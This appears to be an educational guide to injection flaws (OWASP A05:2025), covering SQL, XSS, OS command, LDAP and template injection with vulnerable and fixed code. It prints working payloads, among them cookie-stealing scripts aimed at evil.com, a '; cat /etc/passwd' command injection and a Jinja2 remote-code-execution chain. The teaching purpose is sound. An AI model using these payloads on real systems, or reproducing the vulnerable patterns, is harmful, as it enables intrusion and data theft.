A05:2025

Injection

Untrusted data sent to an interpreter as part of a command or query. When it works, attackers read your entire database, run OS commands, or hijack every page your users visit.

Real-world impact

Heartland Payment Systems (2008): SQL injection through a web form exposed 130 million credit card numbers — one of the largest breaches in US history. Fine: $110 million.

British Airways (2018): A stored XSS attack on the booking page skimmed payment details for 500,000 customers over two weeks. GDPR fine: £20 million.

Yahoo (2012): SQL injection on a subdomain leaked 450,000 plaintext credentials. The attackers published them publicly as a "wake-up call".

Injection has been on every OWASP Top 10 list since the project started. It dropped from #1 to #5 in 2025 as access control issues became more prevalent in breach data — but it remains one of the highest-severity categories. When you have an injection vulnerability, everything downstream is compromised: authentication, authorization, data confidentiality, integrity, availability. All of it.

The underlying cause is always the same: the application mixes untrusted input with a trusted command structure without properly separating the two. The interpreter — whether it's a database, a shell, an LDAP server, or a template engine — can't tell where the developer's intent ends and the attacker's payload begins.

SQL Injection

SQL injection is the classic. A login form, a search box, a URL parameter — anywhere user input gets concatenated into a SQL query is a potential injection point. It's been exploitable since the late 1990s and remains shockingly common in production systems today.

Classic (in-band) SQL injection

The most straightforward variant: the attacker injects SQL that changes the query logic, and the result comes back in the HTTP response.

// VULNERABLE — string concatenation
String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";

// Input: username = admin'--
// Resulting query:
SELECT * FROM users WHERE username = 'admin'--' AND password = '...'
// The -- comments out the password check. Login bypassed.
// SAFE — parameterized query (Java)
PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM users WHERE username = ? AND password = ?"
);
stmt.setString(1, username);
stmt.setString(2, password);

The payload admin'-- works because the single quote closes the string literal, and -- comments out the rest of the query. No password check, full access. Other classic payloads use OR 1=1 to make the WHERE clause always true, or UNION SELECT to append a second query and extract data from other tables.

Blind SQL injection

Most modern applications don't reflect database errors to the user. They show a generic "something went wrong" page. But the query still executes — and the application behaves differently depending on whether the injected condition is true or false. This is blind (boolean-based) injection.

// Target URL: /product?id=5
// Backend: SELECT name, price FROM products WHERE id = 5

// Probe 1: always true
/product?id=5 AND 1=1   → page loads normally

// Probe 2: always false
/product?id=5 AND 1=2   → page shows "product not found"

// These two different responses confirm injection.
// Now extract data one bit at a time:
/product?id=5 AND SUBSTRING(database(),1,1)='a'
/product?id=5 AND SUBSTRING(database(),1,1)='b'
// ... repeat until every character of every table name, column, value is known.

It's tedious manually but trivial to automate. Tools like sqlmap can extract an entire database schema and contents through blind injection in minutes, even over a slow connection.

Time-based blind SQL injection

Sometimes the application returns the same response regardless of whether the condition is true or false — consistent 200 OK either way. Time-based injection side-steps this by making the database sleep:

// MySQL
/search?q=test' AND SLEEP(5)--

// If the response takes 5+ seconds, injection confirmed.
// Extract data with conditional delays:
' AND IF(SUBSTRING(user(),1,1)='r', SLEEP(5), 0)--

// PostgreSQL equivalent
'; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users--

Blind and time-based injections are harder to spot in logs because they look like slow legitimate queries. Detection requires anomaly detection on response times, not just error monitoring.

Cross-Site Scripting (XSS)

XSS is injection into the browser. Instead of corrupting a SQL query, the attacker injects JavaScript that runs in victims' browsers under your domain's trust. This gives them access to cookies, session tokens, saved form data, and the ability to make authenticated API calls as the user.

Reflected XSS

The payload is in the request (URL parameter, form field) and immediately reflected in the response. The victim has to click a crafted link to trigger it.

<!-- VULNERABLE — PHP -->
<?php echo "Search results for: " . $_GET['q']; ?>

<!-- Attacker sends victim: /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
     Page renders: -->
Search results for: <script>document.location='https://evil.com/steal?c='+document.cookie</script>
<!-- SAFE — encode output -->
<?php echo "Search results for: " . htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8'); ?>

Stored XSS

The payload is saved to the database and served to every user who views that content. This is what British Airways suffered — the attacker injected a script into the booking confirmation page that ran for every customer who visited during the two-week window, silently exfiltrating card numbers as they were typed.

// VULNERABLE — Node.js/Express, comment system
app.post('/comment', async (req, res) => {
    const { text } = req.body;
    await db.query('INSERT INTO comments (text) VALUES (?)', [text]);
    // Saved raw. When rendered: <div>{text}</div>
});

// Attacker posts: <img src=x onerror="fetch('https://evil.com/c?v='+btoa(document.cookie))">
// Now every user who views the page exfiltrates their cookie.
// SAFE — sanitize on input, encode on output
import DOMPurify from 'dompurify';

// On render (React):
<div>{comment.text}</div>  // React auto-escapes text content — safe

// If you MUST render HTML:
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(comment.text) }} />

DOM-based XSS

The payload never touches the server. JavaScript on the page reads from an attacker-controlled source (URL hash, document.referrer, window.name) and writes it to the DOM unsafely. This makes it invisible to server-side WAFs and security scanners that only analyze HTTP traffic.

// VULNERABLE — reads hash and writes to innerHTML
document.getElementById('welcome').innerHTML =
    "Welcome, " + decodeURIComponent(location.hash.slice(1));

// Attacker URL: /profile#<img src=x onerror=alert(document.cookie)>
// No server involvement. Pure client-side execution.
// SAFE — use textContent, never innerHTML for untrusted data
document.getElementById('welcome').textContent =
    "Welcome, " + decodeURIComponent(location.hash.slice(1));

The golden rule: innerHTML, document.write(), eval(), and jQuery's .html() are sinks. If untrusted data reaches any of these, you have XSS. Period. Use textContent, setAttribute() with safe attributes, and a Content Security Policy to limit damage if something slips through.

OS Command Injection

If the application calls out to the OS shell with user-controlled input, the attacker can chain additional commands. A single shell metacharacter — ;, &&, |, ` — breaks out of the intended command and appends arbitrary execution.

# VULNERABLE — Python, IP ping utility
import os
def ping_host(host):
    return os.system("ping -c 1 " + host)

# Input: 8.8.8.8; cat /etc/passwd
# Executes: ping -c 1 8.8.8.8; cat /etc/passwd
# Second command runs as the web server process.
# SAFE — use subprocess with a list, no shell=True
import subprocess, re

def ping_host(host):
    # Validate input against a strict allowlist
    if not re.match(r'^[a-zA-Z0-9.\-]{1,253}$', host):
        raise ValueError("Invalid hostname")
    result = subprocess.run(
        ["ping", "-c", "1", host],
        capture_output=True, text=True, timeout=5
    )
    return result.stdout

The fix has two components: input validation (strict allowlist of what's legal) and passing arguments as a list to bypass shell interpretation entirely. shell=True is almost always wrong when handling external input.

Command injection surfaces in PDF generators (often call wkhtmltopdf or similar), image processors (ImageMagick, FFmpeg), network utilities, and any feature that "runs a command in the background." Anywhere you see subprocess calls in a codebase, audit what feeds into them.

LDAP Injection

LDAP directories store user credentials and organizational data. Applications that authenticate users against an LDAP directory are vulnerable when they build filter strings from unsanitized input.

// VULNERABLE — Java, LDAP authentication
String filter = "(&(uid=" + username + ")(userPassword=" + password + "))";
NamingEnumeration results = ctx.search("ou=users,dc=corp,dc=com", filter, controls);

// Input: username = admin)(uid=*
// Filter becomes: (&(uid=admin)(uid=*)(userPassword=...))
// The (uid=*) always matches. Login bypassed for any user with uid=admin.

// Worse: username = *)(uid=*))(|(uid=*
// Creates a filter that matches ALL users → dump entire directory
// SAFE — escape LDAP special characters
import org.apache.commons.lang3.StringEscapeUtils; // or write your own

private String escapeLdap(String input) {
    return input
        .replace("\\", "\\5c").replace("*",  "\\2a")
        .replace("(",  "\\28").replace(")",  "\\29")
        .replace("\0", "\\00");
}

String filter = "(&(uid=" + escapeLdap(username) + ")(userPassword=" + escapeLdap(password) + "))";

LDAP injection is less commonly tested than SQL injection but the impact is equivalent: authentication bypass, full directory enumeration, and in write-enabled configurations, unauthorized account modifications.

Server-Side Template Injection (SSTI)

Template engines like Jinja2 (Python), Twig (PHP), Freemarker (Java), and Pebble are powerful by design — they're meant to evaluate expressions. When user input is rendered as a template rather than passed as data to a template, attackers get full expression evaluation on the server. SSTI often leads directly to remote code execution.

# VULNERABLE — Python/Flask, Jinja2
from flask import Flask, render_template_string, request

@app.route('/greet')
def greet():
    name = request.args.get('name', 'guest')
    # render_template_string evaluates Jinja2 expressions in the string
    return render_template_string("Hello, " + name + "!")

# Input: name={{7*7}}
# Response: Hello, 49!       ← expression evaluated
#
# Input: name={{config.items()}}
# Response: leaks Flask config including SECRET_KEY
#
# Input: name={{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}
# Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Full RCE — game over.
# SAFE — pass data as context variables, never concatenate into template string
from flask import render_template

@app.route('/greet')
def greet():
    name = request.args.get('name', 'guest')
    return render_template('greet.html', name=name)

# greet.html:
# Hello, {{ name }}!   ← Jinja2 auto-escapes this. Safe.

SSTI detection is straightforward: inject {{7*7}} or ${7*7} or #{7*7} and check if the response contains 49. Different template engines use different syntax — Jinja2 uses {{ }}, Freemarker uses ${ }, ERB uses <%= %>. A polyglot probe like ${{<%[%'"}}%\ helps fingerprint which engine is in use.

SSTI is particularly dangerous because it's often introduced by developers trying to make templates "dynamic" — concatenating user input into template strings for personalized messages, email templates, or preview functionality. The fix is always the same: separate data from structure.

Detection and Prevention

These five rules eliminate the vast majority of injection vulnerabilities:

Defense in depth beyond these: a Content Security Policy header limits XSS impact even if an injection exists. A WAF catches many known payloads (but can always be bypassed — it's a speed bump, not a fix). Least privilege database accounts mean SQL injection can't reach tables the web user has no business touching.

The OWASP ESAPI library (Java), AntiSamy, and DOMPurify (JavaScript) provide battle-tested encoding and sanitization functions. Don't write your own — the edge cases that break hand-rolled sanitizers are exactly what attackers test.

Testing for Injection

Manual testing starts with identifying all input surfaces: URL parameters, form fields, HTTP headers (User-Agent, Referer, X-Forwarded-For), JSON/XML body parameters, cookies, and file upload metadata. Every field that ends up in a query or command is a candidate.

For SQL injection, the classic first probe is a single quote '. A database error, a changed response, or a 500 confirms the parameter is unsanitized. Sqlmap automates the full exploitation chain. For XSS, <script>alert(1)</script> is the canonical probe but modern WAFs block it — use event handler variants like <img src=x onerror=alert(1)> or encoded forms. For command injection: ; sleep 5 or | ping -c 5 127.0.0.1 — a delayed response confirms execution.

Automated scanners catch the obvious variants but blind and second-order injection (where the payload is stored and triggered later in a different context) require manual analysis or specialized tooling. Second-order SQL injection in particular is routinely missed — the injection point accepts sanitized input, but the stored value is later used in a query without re-sanitization.

Scan for injection vulnerabilities

Test your application for SQL injection, XSS, command injection, and other OWASP A05 issues. The AI-powered scanner probes every input surface and reports exploitable findings with reproduction steps.

Scan for injection vulnerabilities
← A04 — Cryptographic Failures